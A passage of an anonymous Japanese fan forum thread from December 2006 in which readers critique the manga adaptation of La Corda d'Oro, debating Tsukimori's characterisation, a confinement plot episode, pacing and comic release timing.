とりあえず良く分かったのは、呉さんがゲームをほとんどやりこんでないってことだな

435 :花と名無しさん:2006/12/04(月) 21:56:23 ID:???0
>>431
そういう書き方やめてくれ。金やんファンが腹いせに暴れてるみたいに
とられたくないんですけど

436 :花と名無しさん:2006/12/04(月) 21:56:47 ID:???0
>>431
私に言われてもw

437 :花と名無しさん:2006/12/04(月) 21:56:50 ID:???0
つまり香穂子や金やんの批判はいくらやってくれてもいいが
月森批判は作者批判であってもNGにしたい人がいるということで、おk?

痛いなw

438 :花と名無しさん:2006/12/04(月) 21:57:48 ID:???0
>>437
煽るなよ

439 :花と名無しさん:2006/12/04(月) 21:58:00 ID:???0
>>434
ある程度ゲームやりこんで、特別キャラに愛着わかなければ、
イヤなところが目立って、ああいう解釈になってしまうのも有り得そう

440 :花と名無しさん:2006/12/04(月) 21:59:08 ID:???0
パー万にお願いしてイベントさっくりみちゃえばいいのに

441 :花と名無しさん:2006/12/04(月) 21:59:12 ID:???O
>>432おめw

あのゲームをやり込むのは大変そうだけどね…
攻略本などで多少の情報収集くらいは可能だが

442 :花と名無しさん:2006/12/04(月) 21:59:18 ID:???0
>>432
ちょwww


443 :花と名無しさん:2006/12/04(月) 22:01:17 ID:???0
>>435
いや別に、名指しで批判されたのが金やんだけだったからなだけで。
あの言われようもむかっときたけど、まあそうかなで終わったのに、
なんで月森関連だけこうも長々続くんだか。
月森好きな工作員がいるとしか思えん。

444 :花と名無しさん:2006/12/04(月) 22:02:25 ID:???0
>>432
自分もROMってて同じこと思ったよ
香穂子なんて、どうしようもないとか言われまくりじゃないかってw

445 :花と名無しさん:2006/12/04(月) 22:02:57 ID:???0
いや、月森も根性ひん曲がってるよw
金やんも職務怠慢教師だし
志水なんか電波受信してるしね

446 :花と名無しさん:2006/12/04(月) 22:04:49 ID:???0
そうか、月森は実は柚木並みの教祖様だったんだよ…!

447 :花と名無しさん:2006/12/04(月) 22:05:16 ID:???0
庄司さんみたいな子もいたしナー

448 :花と名無しさん:2006/12/04(月) 22:05:19 ID:???0
>>358
亀だが

一字一句完全に同意
音楽をやる人間を尊敬してないのに、姿勢云々言っても説得力ナッシング

ま、呉さんの性格に多分大きな問題があるわね、これはw

449 :花と名無しさん:2006/12/04(月) 22:05:43 ID:???0
このスレは庄司さんに監視されています、とか?

450 :花と名無しさん:2006/12/04(月) 22:12:07 ID:???0
>>448
彼にとって尊敬できる音楽家は家族だけなんだろうサ
それ以外は屑なんだろうサ

451 :花と名無しさん:2006/12/04(月) 22:15:47 ID:???0
ほんと呉さん片っ端からキャラクターを台無しにしてくれるよね!


と、このように呉さんに押し付けておけば問題ないです。

452 :花と名無しさん:2006/12/04(月) 22:17:18 ID:???0
この先、元カノ話で土浦が劣化しないか、心配だよ

453 :花と名無しさん:2006/12/04(月) 22:19:47 ID:???0
>>452
劣化するに決まってるじゃないか
だから心の準備はしておいた方がいいw

454 :花と名無しさん:2006/12/04(月) 22:21:24 ID:???0
もう背景でもいい。出番少ないほうが幸せだと思えてきた。

455 :花と名無しさん:2006/12/04(月) 22:23:26 ID:???0
>>450
屑とはまでは思ってない気がww
ただあくまで音楽家の両親を目標に生きてると同時に
両親に対するコンプレックスを抱えてるから
自分の事で精一杯で、他人を蔑ろにしてる部分はあると思う
漫画だと特にそれが感じられるし…
それを解消できるのは唯一香穂子の存在だけど、まあ果たして
漫画ではどうなるやらだが…

456 :花と名無しさん:2006/12/04(月) 22:30:21 ID:???0
>>453
どんな極悪展開になるんだろうw

457 :花と名無しさん:2006/12/04(月) 22:35:09 ID:???0
こんな女と付き合ってたのか土浦…orz
と思わないでいられる展開だといいんだけど

458 :花と名無しさん:2006/12/04(月) 22:43:15 ID:???0
>>455
そうそう。
問題があるからこそ魅力も感じるキャラなんだけど、
ゲームでは香穂子によって、音楽の視野が開けていくのが月森の醍醐味なんだけどなー。
件の監禁事件のときの台詞も、事件後の月森の心情の変化に
もう少しフォローがあれば、ここまで言われなかったかもな。

459 :花と名無しさん:2006/12/04(月) 22:45:01 ID:???0
>>439
だったらいっそゲームと多少違っても
呉さんなりに魅力的なキャラ描写をしてくれれば良かったのにな
自分がコルダのキャラに愛着持てなかったからといって
そのまんま漫画で描くのはどうよ
まぁ、仮定の話だけど

460 :花と名無しさん:2006/12/04(月) 22:57:00 ID:???0
柚木婚約者騒動なみのDQN話きぼんぬ

461 :花と名無しさん:2006/12/04(月) 22:57:53 ID:???0
キャラに愛着を持ってるかどうかは解らないけれど、
積極的にコルダの世界観を研究してる感じではなさそうな印象

462 :花と名無しさん:2006/12/04(月) 23:02:13 ID:???0
投げっぱなしなゲーム製作サイドにも疑問。
寛大すぎるにも程がある。

キャラ設定、ちょっとしたエピソードをつくるのは好き!なスタッフしかいないのか

463 :花と名無しさん:2006/12/04(月) 23:04:15 ID:???0
投げっぱなしなの?
漫画にもいろいろ口出ししてくるってレスを何度か見たから
そうなんだと思ってたよ

464 :花と名無しさん:2006/12/04(月) 23:06:20 ID:???0
>>463
え、じゃあ口出されてこの有様?!この先期待しても無駄ってことかな・・・

465 :花と名無しさん:2006/12/04(月) 23:09:08 ID:???0
最初の頃は指示もあったんだろうけど、放置されてたんじゃないか
で、アニメ化が決まって制作者と話す中で漫画マズー→テコ入れ

そして今月号

466 :花と名無しさん:2006/12/04(月) 23:18:00 ID:???0
アニメ放送観て漫画マズー→テコ入れ
という気がする

467 :花と名無しさん:2006/12/04(月) 23:19:49 ID:???0
漫画マズーのところは変わらないんだなw

468 :花と名無しさん:2006/12/04(月) 23:21:36 ID:???O
こういう時こそ呉さんの担当の仕事なんじゃないの?何も指摘しない
んだろうか?

469 :花と名無しさん:2006/12/04(月) 23:24:22 ID:???0
指摘してたらこんなブツ切り満載になってないと思う…

470 :花と名無しさん:2006/12/04(月) 23:26:41 ID:???0
表紙や予告カットを誰にするかくらいしか決めてなさそう<担当
音楽やゲームのことはよく知らないのでお任せしますとか言ってそうで怖い

471 :花と名無しさん:2006/12/04(月) 23:28:04 ID:???0
最初から原作者つけるべきだったな・・・
呉さんは原作者なしで連載を描けるほどのレベルじゃない
言いすぎかもしれんけど

472 :花と名無しさん:2006/12/04(月) 23:28:23 ID:???O
担当的には、火原がでばればそれでいいんじゃという気がする

473 :花と名無しさん:2006/12/05(火) 00:08:37 ID:???O
むしろゲーム側や編集側がアレコレ言いすぎてああなった可能性もある
「もっと引き延ばせ」とか「話が地味だからキャラ萌え入れろ」とか
だって紅玉と白癬だから…

474 :花と名無しさん:2006/12/05(火) 00:18:59 ID:???0
>>476
そりゃ白癬と紅玉も罪は大きいけど、
そうはいっても、漫画を描いてる呉さんの問題が大きいと思うけどなー

話は変わるけど、コミックの「日々の出来事」、キライじゃないけど飽きてきた
柱とかあらすじが入ってたスペースで、キャラとかその楽章ごとの解説を書いてほしいよ
なんで呉さんってそういうことを書かないのか、本当に不思議だ

475 :花と名無しさん:2006/12/05(火) 00:21:11 ID:???0
遙かは男キャラをたくさん出せという指示が出て、主人公の掘り下げが
あまり出来ないっぽいことが書かれていたが、同じパターンかw

476 :花と名無しさん:2006/12/05(火) 00:23:15 ID:???0
>>475
個人的に、あちらは連載が長い分それなりに掘り下げられてると思うけどね
アニメの評価が悪かったのも一因だろうけど

477 :花と名無しさん:2006/12/05(火) 00:25:24 ID:???0
同じメディアミックスでも、
一方は漫画○、アニメ×
もう一方は漫画×、アニメ○
ってまったく逆評判というのがすごいな

478 :花と名無しさん:2006/12/05(火) 00:41:54 ID:???0
呉さんが以前に描いた読みきりで、まだ単行本に入ってないのってあるかな
もしあったら、次の巻にも収録される気がする
個人的には、コルダだけ読みたいんでこういう編集方針には反発を憶える

479 :花と名無しさん:2006/12/05(火) 00:45:58 ID:???0
>>478
こんな感じのようだよ
ttp://comich.net/cr/ka/kure_yuki.html

自分もコルダのコミクスではコルダに浸りたいと思うから
短編は短編で別に出してほしいなぁと思う

480 :花と名無しさん:2006/12/05(火) 05:37:24 ID:???0
>>478
今が旬だから、さくさく単行本出したいだろうし入れるんじゃないかね。
自分はコルダ以外今の所呉作品に興味ないから
コルダだけ収録して欲しい。
まあこういう人間への対策もあって、収録しちゃうんだろうな。

481 :花と名無しさん:2006/12/05(火) 07:22:30 ID:???0
そういう編集方針も遙かと逆みたいだねー
あちらは初期には読み切り少し入れてたけど、
アニメ化のときも発刊ペースは上げず遙かだけでまとめてたし

482 :花と名無しさん:2006/12/05(火) 08:13:07 ID:???O
遥かアニメ化のころと編集方針が変わったのかもしれないが、
とにかくコルダは各メディア売り時だからな
アニメのエンジンがあったまったところで7巻
今度はゲームの続編発売に合わせて8巻だったりしてな
ゲーム会社、上半期だか四半期の利益が200万だったから必死だろうし

483 :花と名無しさん:2006/12/05(火) 08:45:09 ID:???0
>>482
利益200万!? 桁一つ間違えてるんじゃなくて? 本当なの?
・・・それなら今が売り時でもあるコルダに力を入れるのも当然か
でも、アニメ化でいい影響が出て、買ったあとはどうであれ
コミックも売上が伸びている印象あるし、
この調子で、漫画の内容へもいい影響を(ry

484 :花と名無しさん:2006/12/05(火) 08:47:54 ID:???O
コミクスの巻末描きおろしはもうないのかな
ああいうお遊び好きだからまた見たいんだけどな、ちびキャラとかさ
7巻は柱の各楽章に関するコメントもなかったから寂しかったよ

最近カラーの仕事多いから時間ないかもしれないけど踏ん張ってほしい…
他作者のコミクス詳しくないから、今が普通ならスマソ

485 :花と名無しさん:2006/12/05(火) 09:00:46 ID:???0
>>473
「もっと引き延ばせ」ってのは言われてないと思うな。
1〜2回分読み飛ばしたかのような急展開や
もっとじっくり描いて欲しいってところがあるくらいだから。

自分は逆に、セレクションの間は○回でみたいに
話数を決められてるのかと感じてる。

486 :花と名無しさん:2006/12/05(火) 09:10:35 ID:???O
キャラ萌え入れろは言われてたような気がする
ララの方針そのものが萌え重視になってるっぽいし、
初期は丁寧だったけど地味だったからなあ

487 :花と名無しさん:2006/12/05(火) 09:15:32 ID:???0
コミックスの次巻はアニメの終わる前、3月にでも出そうな気がする
ゲームもその月に出るし

>>475
元がネオロマだからその指示は絶対あると思う
だからってコルダはあまり男キャラが掘り下げられてるようには感じないけど…

488 :花と名無しさん:2006/12/05(火) 09:18:33 ID:???0
そもそも月刊誌は半年に1冊コミックスが出ると思うから
前回の発売から考えても3月だと思う

489 :花と名無しさん:2006/12/05(火) 09:20:43 ID:???0
>>486
そんな具体的にコメントしてたことあるの?

490 :花と名無しさん:2006/12/05(火) 09:29:17 ID:???O
>487
そしてアニメでは性格修正バージョンの香穂子が受けているという皮肉…

491 :花と名無しさん:2006/12/05(火) 09:37:20 ID:???O
>>488
5巻発売から4ヶ月で6巻発売、そこから5ヶ月で7巻発売
今年は3冊も出たんだな…ペース早過ぎ

492 :花と名無しさん:2006/12/05(火) 09:41:47 ID:???0
月刊誌でソレは早いわぁ…

493 :花と名無しさん:2006/12/05(火) 10:30:08 ID:???O
11月にコミック出したいがために、休み明けですぐ3セレ当日になったんだろうか

494 :花と名無しさん:2006/12/05(火) 11:01:10 ID:???O
内容を進めるのとは別だろ

495 :花と名無しさん:2006/12/05(火) 11:01:39 ID:???0
???
コミックス発売時期のために漫画の内容が変わったってこと?
ページ数確保のためにデラでも描いたり本誌がページ増に…っていうなら分かるけど

496 :花と名無しさん:2006/12/05(火) 11:34:30 ID:???0
>>493
それは単なる構成ミスだろう。
セレクションやらんでも単行本は出せるんだから

497 :花と名無しさん:2006/12/05(火) 11:49:34 ID:???O
昨日はずいぶん熱かったんだね…
ここやアニメスレで今までに突っ込まれてるのは、

・月森の「願ったり〜」発言は他参加者にも失礼
 ⇒他参加者の言動で考えを改めるような具体的な描写=成長エピが欲しかった
・そんな月森を絶対視している香穂子(現在進行形)
 ⇒先のフォローがあれば説得力出たかも?
・月森棄権(=最下位)の真相はどの範囲まで知らされているのか
 ⇒会場に居なくても「月森が最下位」と発表された時点で誰もが疑問に感じるのでは?
・志水の牛歩(それも金やん先生の指示)による減点
 ⇒フォローがない、志水自身はどう感じていたのか(これは個人的な疑問)
・加害者のその後が描かれていない
 ⇒お咎めなし?=やったもん勝ちになってしまうのはどうも…
・リリの存在
 ⇒主催なんだし、ああいう事件を起こさないようにフォローはできないのか

…こんな感じか?やっぱり月森の順位を落とすために安易に事件を起こしたのが
一番まずかったんじゃないかな、全てのフォローがあれば良かったけど…
月森の四重奏での態度を見る限り、少なくとも香穂子には心を許し始めてたんだろうけど、
それなら第ニセレのときに自分の発言を省みる描写はもう少しあった方が良かったね

498 :花と名無しさん:2006/12/05(火) 12:00:04 ID:???0
>>497
携帯からまとめ乙
長文な上に改行しないヤシがいたから
まんどくさくて読んでなかったから助かった

>それなら第ニセレのときに自分の発言を省みる描写はもう少しあった方が良かったね
もう少しどころか、なかったように記憶してるが・・・
記憶違いだったスマソ

499 :花と名無しさん:2006/12/05(火) 12:03:09 ID:???0
んーでも香穂子は月森の「願ったり〜」発言には反論してるんだから
それを除いた部分を絶対視してるって感じがするんだが。
別に月森の主張すべてに賛同してるんじゃなくてさ。
香穂子達が自分を探してくれたことを知って反省するシーンがあればというのは同意。

志水は金やんに言われたことはきっともう忘れてると思う。

500 :花と名無しさん:2006/12/05(火) 12:07:21 ID:???O
でも、月森は第1セレの時は、自分から行方不明の香穂子を探しに行った訳で。

501 :花と名無しさん:2006/12/05(火) 12:08:45 ID:???0
>>498
自分も目が滑って読めなかったよ…

>>497
まとめ乙。改めてトンでもない展開だったと思ったよ

あと加えるなら、1セレではその場で結果発表があったのに
2セレからはそうじゃないようだ、ってことかな

502 :花と名無しさん:2006/12/05(火) 12:23:35 ID:???O
>>497
今コミクス手元にないんだが、良い方向へ解釈すれば「意味か…」ってところで
月森も少し何か考えたのかなと思ってさ

月森宅に香穂子たちが押しかけたときの香穂子の「順位云々じゃなくて〜」って言葉や、
合宿編で思わず合奏してしまったときのことを思い出しても良かったと思うんだけどね
それがなかったのは個人的に残念だったよ

503 :花と名無しさん:2006/12/05(火) 12:26:33 ID:???0
実際に音楽科同士での嫌がらせとか妨害はあるそうなんで、
リアルっちゃリアルなんだろうな。
しかしそんなところだけリアルに描かれても嬉しくないな…
そのエピソードから、何かを学ぶとか成長するとかがなければ
意味ないもんな。

504 :花と名無しさん:2006/12/05(火) 12:28:38 ID:???O
やっぱり古典的な悪役と嫌がらせに頼ったのが全ての元凶なんだな…
メインキャラ達を持ち上げたかったんだろうが逆効果になってしまっている

505 :497:2006/12/05(火) 12:31:48 ID:???O
安価ミス…>>502>>498へorz

>>501
リロってなくてごめん、それもあったね

506 :花と名無しさん:2006/12/05(火) 12:32:14 ID:???0
月森こそそういう成長する過程をきちんと描かなきゃいけないキャラなのにね

507 :花と名無しさん:2006/12/05(火) 12:35:58 ID:???0
でもあの監禁事件は、リアルでもあまりないことだと思うけどね
場合によってはマスコミに報道されかねない内容じゃない?
そういうところは全然リアルに感じられないかな
あの辺は「はいはい、所詮マンガだしね」と思って読んでた
でもこうやって話しがしょっちゅう出るし、アニメで放映されて
批判めいた話しがたくさん出るってことは
やっぱりエピに問題があるんだろうね

もっとまともな月森欠場エピを考えられなかったものなのかな
音楽経験者の妹さんやアシだっているんだし、
周りに相談できなかったのか
あのエピは呉さんの頭のよ(ryが垣間見えてしまう・・・

長文スマソ

508 :花と名無しさん:2006/12/05(火) 12:39:46 ID:???0
いや、現実だと学校内は結構問題が起こっても内々で済ませちゃうこと多いよ

509 :花と名無しさん:2006/12/05(火) 12:42:11 ID:???0
>>508
いや、もちろんそれはわかってるけど
その問題がマスコミに漏れれば報道されないかなと思って。
だからあのエピソードは事件性が高すぎると思ったんだ・・・

510 :花と名無しさん:2006/12/05(火) 12:48:31 ID:???O
リリに関しては「参加者全員に見える」設定でありながら今までその
描写がないために、あの場面で出したとしても、見つけた月森はビッ
クリしちゃうんじゃないか?それとも月森に見つからずにそっと助け
出すのかw

511 :花と名無しさん:2006/12/05(火) 12:59:56 ID:???0
リリがそういう殊勝さのある小人さんなら読者にももっと好かれてるだろw

512 :花と名無しさん:2006/12/05(火) 13:00:47 ID:???O
月森の親も、息子が唐突に本番をすっぽかしたりしたら本人に理由を問いたださないか
そんなことする子じゃないって分かってるだろうし

513 :花と名無しさん:2006/12/05(火) 13:06:05 ID:???O
昔から、いろいろなゴタゴタに巻き込まれる子なので、五体満足で戻ってきて御両親安心しただろうな。

514 :花と名無しさん:2006/12/05(火) 13:11:04 ID:???0
ホッとしてる月森母のコマがあったのは良かった

つか月森、あの後病院行ったのか?と気になってしまったよ
気絶するほど頭打ってるんだから、ステージで弾くより病院が先だ

515 :花と名無しさん:2006/12/05(火) 13:12:16 ID:???0
月森が言わなきゃ気絶してたことはわからないし、
月森は自分から気絶してたなんていうタイプじゃない
病院には行ってないんじゃないか

516 :花と名無しさん:2006/12/05(火) 13:14:49 ID:???O
>>511
リリの気にしてることといったら、香穂子を除けば
普通科へのクラシック布教だけだもんなw

517 :花と名無しさん:2006/12/05(火) 13:18:20 ID:???0
>>513
だねw
とりあえず怪我がなくてほっとした
って感じ

518 :花と名無しさん:2006/12/05(火) 13:42:25 ID:???O
>>509
ばれた場合のことを一切考えてなかったのは確かだな
何故か真相知ってる人間は揃って口をつぐみ月森の貧乏籤で片付けてくれたけど

519 :花と名無しさん:2006/12/05(火) 13:53:39 ID:???0
>>518
暴力事件ではないけど、1セレもそんなんだったな…
バレた時の事を考えないのに自分からボロを出してバレる
でも真相知ってる人は口を噤んで、うやむやで終わる

520 :花と名無しさん:2006/12/05(火) 14:10:20 ID:???0
>497
>>・月森の「願ったり〜」発言は他参加者にも失礼
>> ⇒他参加者の言動で考えを改めるような具体的な描写=成長エピが欲しかった  

昨日は眺めていただけだが、そんなすぐ改心できてしまう方が正直ウソくさくってどうかと思ったな。
月森の問題は要するに周囲から心を閉ざしているというのが根本原因だが、
これを改善させるのはそんなに簡単な話じゃないんだろうと思うんだ、少なくとも彼には。
大体、親密度最高段階の相手になってようやく人並みに満面の笑顔を浮かべられるようになるくらいなんだぞ。

安易に事件起こしすぎには同意。これだけ部外者の妨害が起こって、まともな判定ができるとは思えない。
最終セレあとの総括でその辺りを収拾するとかしないとダメなんじゃ?

521 :花と名無しさん:2006/12/05(火) 14:17:56 ID:???0
つまり求められてるのは月森と土浦のあついゆうじょうですね?

522 :花と名無しさん:2006/12/05(火) 14:24:48 ID:???0
>>520
言いたいことには同意なんだけど
親密度とかいうのは書かないといけないことなんだろうか
元がゲームなのは重々承知してるが、ここでは漫画版の話してるんだろ?
ゲームやってない側からすると、ゲームではこうなのにというのは
※ゲーム話+改行したうえで書いてもらいたいんだが

523 :※ゲーム話:2006/12/05(火) 14:35:21 ID:???0







>>520
いや。あいつはそんなに仲良くなくても笑顔向けてくるぞ!
ちょっと仲良くなって一緒に帰るときにイキナリあの笑顔見せてきたりするぞ!

そんな変なトコ無防備な月森も月森の魅力なんだけど
漫画じゃサッパリで寂しいズぇー

524 :花と名無しさん:2006/12/05(火) 14:42:27 ID:???0
>520
スマンかった。配慮が足らなかったな。

つまり一ゲームユーザーから見ると、キャラクタの設定上月森の態度の描写は理解できなくもないと思う、ということだ。

もちろん漫画がゲームの設定に逐一沿っていかなければならないわけじゃない。


525 :524=520:2006/12/05(火) 14:43:36 ID:???0
>>524

>>522へのレスだ、重ねて申し訳ない

526 :花と名無しさん:2006/12/05(火) 14:59:23 ID:???0
>>525
昨日の長文の人と別人なんだろうけど
最近1行をそんなに長ったらしく書くのって流行ってるか?
激しく読みづらいんだが

527 :花と名無しさん:2006/12/05(火) 15:04:12 ID:???0
モニターがでかいんじゃね?
それか携帯か

528 :花と名無しさん:2006/12/05(火) 15:06:20 ID:???0
携帯じゃないでしょ
長めだけど読みづらいってほどの長さでもないと思うけどな

529 :花と名無しさん:2006/12/05(火) 15:10:59 ID:???0
1行に40字以上もあれば読みづらいと思うけど
まあ、人それぞれか

530 :花と名無しさん:2006/12/05(火) 15:38:46 ID:???O
月森の発言に関してはアニメスレでも話題に出てたが

496:風の谷の名無しさん@実況は実況板で :2006/12/05(火) 11:52:53 ID:xbJlavF0 [sage]
そりゃクローゼット?に閉じ込められりゃ悪い方に考える罠。
あんな状況で誰かが来てくれることに期待した自分の甘さを自嘲して
偽悪的な思考に入っただけだと思う。

497:風の谷の名無しさん@実況は実況板で :2006/12/05(火) 12:00:04 ID:LK7onNNN [sage]
あの時点で、月森は絶望している訳で、自虐に走ったんだと思う。

第1セレの時は、自分の出番が控えているのに香穂子を探しに行った。
別にあの時、香穂子を探しに行かないで自分は最終調整をしても良かった訳だけれど、それをしなかったのは他の参加者(香穂子)を彼なりに心配しての事だから


自分も同じことを感じてたな
両親にも恥をかかせてしまうし、いつもよりさらに自虐的になってしまったのかなと…
月森は簡単に変わるキャラじゃないからこそ、わずかな変化を
少しずつ丁寧に描写していってもらえたら…とは思う
四重奏のときの変化は彼らしくて良かったなと思うよ

長文スマソ

531 :530:2006/12/05(火) 15:53:15 ID:???O
そのままコピペしたから改行が…ちょうど話に出ていたのに申し訳ないorz

532 :花と名無しさん:2006/12/05(火) 16:05:45 ID:???0
>>531
ドン米、気にするな。

つーか、>>522の言ってる改行って、
ゲーム話の時にスペース空けろってことではないの?



533 :花と名無しさん:2006/12/05(火) 16:24:25 ID:???0
個人的には、そんなにいきなり成長しなくてもいいが
しかしやっぱり、その成長の芽は見せてほしかったなぁ

香穂子や土浦たちの様子を見て
「よっぽどのお人よしなのか? ライバルのことをそんなに心配するなんて」
と独白させるとか

まあ月森自身、1セレで香穂子を追っていったお人よしさんなんだがw
しかし思い込んだら頑固な月森が、ちゃんと変わりつつあるんだよという兆しは欲しかった

>>530で言われているような状況だからこそ、かえって自分を陥れる奴らだけじゃなく
自分を必死になって心配し探してくれる人たちもいるんだって自覚イベントがほしかった

534 :花と名無しさん:2006/12/05(火) 16:30:39 ID:???0
>>533
そういう意味で、香穂子の制服お届けイベントは良かったよな。
あんなに迷惑を掛けた上に、わざわざ制服を届けにきてくれた香穂子に
相変わらずツンケンツンケンしていて見られた態度じゃなかったところに
唐突に明後日の方向を見ながら「今日はすまなかった」発言。

…一足飛びに成長したわけではなく、相変わらずの月森君だけど
それでもやっぱりいい風に変わりつつあるなぁと見せてくれた。
そういう演出を2セレでもしてくれたら良かったのにね。

535 :花と名無しさん:2006/12/05(火) 16:47:13 ID:???0
>>530
*1セレ月森と2セレ月森は別人です。あらかじめご了承ください
・・・って感じ

536 :花と名無しさん:2006/12/05(火) 17:46:20 ID:???O
別人化は香穂子だけじゃなかったのか

537 :花と名無しさん:2006/12/05(火) 19:15:37 ID:???0
>533
同意。別に月森に滝涙流して俺が間違ってたよ!!とか言って欲しい
わけじゃない。成長が遅いなら遅いなりに少しずつ変わって来たなという手ごたえを感じないと
観ている方はカタルシスを感じられない。
それ以前に人としてどうよ、とも思うわけだが。漫画はもう無理だけど、アニメで来週フォローが
あるといいな。
>533
同意


538 :537:2006/12/05(火) 19:16:51 ID:???0
ごめん、下2行消し忘れ

539 :花と名無しさん:2006/12/05(火) 19:39:38 ID:???0
>537
そうだよな。別に出来た人間ばかりを見たいわけじゃないが
浅はかだったり偏見持ちだったりする描写を入れたら
そこから変わっていく描写も入れてくれないと
そのキャラに好感持つに至らないわけで。
しかし漫画のフォローを別媒体に期待するしかないのも辛い話だな…。

540 :花と名無しさん:2006/12/05(火) 19:41:22 ID:???0
>198
火原が言う「優勝とか関係ない」はこれまでの順位が低すぎて
優勝を狙うのは無理って意味だろうけど、土浦の場合は
「優勝とか順位にこだわっていない」という意味で言ってるんジャマイカ?


541 :花と名無しさん:2006/12/05(火) 19:52:34 ID:???0
>>519
セレが気に食わない奴の足を引っ張る場になってるな…
既出だけど、リリはせっかく開催したコンクールがこんな現状で
悲しくないんだろうか

542 :花と名無しさん:2006/12/05(火) 20:03:31 ID:???0
あの2セクでの月森の思考・行動に自分はあまり違和感を感じなかった。
漫画では特に月森に対する周囲の風当たりが強いし、過去の事を
踏まえて自虐的思考になるのは最もだと思う。
それにその後自分探しに尽力してくれた人を前に直接ではないにせよ
「ご迷惑おかけしました」って言ってるし。

ただこの後すぐに柚木編に完全に入ってしまって
本来ならあるはずの>>533の言う成長の芽が垣間見えなかった、というか
全く成長していない事に問題があると思う。
相変わらずの態度に表情、>>534が懐古的になるのも分かるよw
ようやくカルテットの回で月森に視点を戻してるけど、時間差がありすぎて
違和感が拭えないし、いきなり『君を認められない』だし…
第2セク以降の特にぶつ切り何かあったのか?呉さんとしかいいようがない

543 :花と名無しさん:2006/12/05(火) 20:22:51 ID:???0
3セレ準備期間の月森って、柚木邸に行って四重奏して「君は認められない」で
土浦に胸倉掴まれただけだったような…

主人公の香穂子すら成長させようという様子が感じられないのに
それ以外のキャラの成長なんて考えてないんじゃないかと諦めてるよ
火原はあそこまで不調にさせたんだから、やるかもしれないけど

544 :花と名無しさん:2006/12/05(火) 20:30:40 ID:???0
香穂子に至っては成長どころか人格ころころ変わってるし
逆成長と言われるくらいだもんなぁ…
群像劇描くには力不足なんだろうな
メイン級のキャラを2・3年に絞ってもまだ手に余ってるんだから

545 :花と名無しさん:2006/12/05(火) 20:32:45 ID:???0
>3セレ準備期間の月森って、柚木邸に行って四重奏して「君は認められない」で
>土浦に胸倉掴まれただけだったような…

ワロタwでも確かにそのとおりだ…

546 :花と名無しさん:2006/12/05(火) 20:40:51 ID:???0
みんな、おちつくんだ!

2セレで月森の順位を落とすために騒ぎを起こしたのに
そこで月森が心の成長しちゃったらその後ぶっちぎりになっちゃうじゃないか!

547 :花と名無しさん:2006/12/05(火) 20:41:10 ID:???0
でも月森はまだましのような気がするw
他はこれといって思い浮かばないほど印象が薄い

548 :花と名無しさん:2006/12/05(火) 20:58:30 ID:???0
>3セレ準備期間の月森って、柚木邸に行って四重奏して「君は認められない」で
>土浦に胸倉掴まれただけだったような…

しかしこうして見ると、本当に婚約者騒動って要らなかったな。
さんざんガイシュツだが。

あれって作者的には柚木の成長イベントのつもりだったのか?
しかし中途半端なんだよね。
悪役ぶりにしても、心の成長にしても。
そんな柚木がよそ事を考えながら演奏して、(・∀・)イイ!!と1位になったのが解せない。
よっぽど他がダメダメな、レベルの低いセレクションだったのか…?

549 :花と名無しさん:2006/12/05(火) 21:02:40 ID:???0
能力的にも凄いはずの志水がさっぱりいい順位取れないのが
とても不思議です…先生

550 :花と名無しさん:2006/12/05(火) 21:06:44 ID:???0
>>548
出場出来ない生徒が犯罪行為に走ったりするが参加者は余裕綽々です
審査員も感想はど素人並みなので
本当に音楽の専門家なのか疑わしいところです

551 :花と名無しさん:2006/12/05(火) 21:07:57 ID:???0
>>549
確かに、2セレは牛歩で大幅減点されたと考えたら低い順位でもしかたないが
3セレはもっと順位が上がってもよさげだな…

552 :花と名無しさん:2006/12/05(火) 21:08:53 ID:???0
各専攻の先生とかじゃないの?

553 :花と名無しさん:2006/12/05(火) 21:21:42 ID:???0
>>551
1年生は背景だからあんまり実力アピールしたくないんじゃないの

554 :花と名無しさん:2006/12/05(火) 21:23:34 ID:???0
アニメ関連で出ている第二セレ編のCDを聴いたら、
志水のマイペースさに思わず笑ってしまった
時間稼ぎを促されたことに関して特に疑問を感じてなさそうだw
でも今の順位は寂しいな…技術力あるのにね

月森に関しては、香穂子の言葉が相当影響を及ぼしていることが
伝わってきたけど、作品好き全員がこのCDを買うわけではないし、
やはり本編の中で描写が欲しかったなぁと思うよ

余談だけど、アニメの限りではリリはコンクールに関して完全に傍観者のようだ
志水がゆっくり歩いていることや、月森が居ないことに素で驚いていた…

555 :花と名無しさん:2006/12/05(火) 21:27:21 ID:???0
*ゲーム話





月森でさえ寒心する技術力なのに…<志水

556 :花と名無しさん:2006/12/05(火) 21:45:36 ID:???0
>>546
つまり順位操作のみならず好感度操作も狙ったと

557 :花と名無しさん:2006/12/05(火) 21:48:34 ID:???0
そういえば、漫画じゃ月森と土浦が音楽そのもので対立してるトコって
一度もないんだね

558 :花と名無しさん:2006/12/05(火) 21:51:42 ID:???0
だから何故対立してるのか分からん

559 :花と名無しさん:2006/12/05(火) 21:57:45 ID:???0
音楽漫画なんだから、音楽上での対立って重要な要素だと思うけどなぁ

560 :花と名無しさん:2006/12/05(火) 21:58:25 ID:???0
かほちゃんを取り合ってるの。≧▽≦キャッ☆

じゃないの?

561 :花と名無しさん:2006/12/05(火) 22:03:04 ID:???0
>>559
音楽上の交流も成長も省かれてるからなー

562 :花と名無しさん:2006/12/05(火) 22:22:34 ID:???0
今のところコンクールの総合順位は
1位柚木、2位月森だと思うが
上位二人とも悪人だから、最後で善人の火原が逆転すると予想してみる。

563 :花と名無しさん:2006/12/05(火) 22:26:42 ID:???0
>>557
お互いの音楽には無関心に見える

564 :花と名無しさん:2006/12/05(火) 22:31:55 ID:???O
>>562
聞き捨てならない
誰と誰が悪人だって?
根拠出して説明してくれ

565 :花と名無しさん:2006/12/05(火) 22:34:42 ID:???O
>>562
調子のいいはずの火原が香穂子より順位下だもんな、2セレ。一番納得いかなかった
最終セレで優勝もぎとって欲しいな

このまま放置されませんように……orz

566 :花と名無しさん:2006/12/05(火) 22:38:07 ID:???0
>>565
つくづく香穂子の2位がやりすぎだったと思う
大体何であんなに絶好調だったんだ?

567 :花と名無しさん:2006/12/05(火) 22:40:45 ID:???0
2セレは、かなり普通科贔屓の採点だった気がする。

土浦は1セレで順位がつかなかったという事情で不利だから、かなり有利に採点してもらえて、
香穂子は1セレでの伴奏者ドタキャン事情が風の噂で伝わって、1セレの不足分を補うように有利に採点してもらえたのかと思ったが、
それなら3セレの月森も有利に採点してもらえないとおかしいよね…。

568 :花と名無しさん:2006/12/05(火) 22:44:02 ID:???O
審査基準も意味不明だな…

569 :花と名無しさん:2006/12/05(火) 22:50:55 ID:???0
香穂子は合宿を終えてからも絶好調だったから、
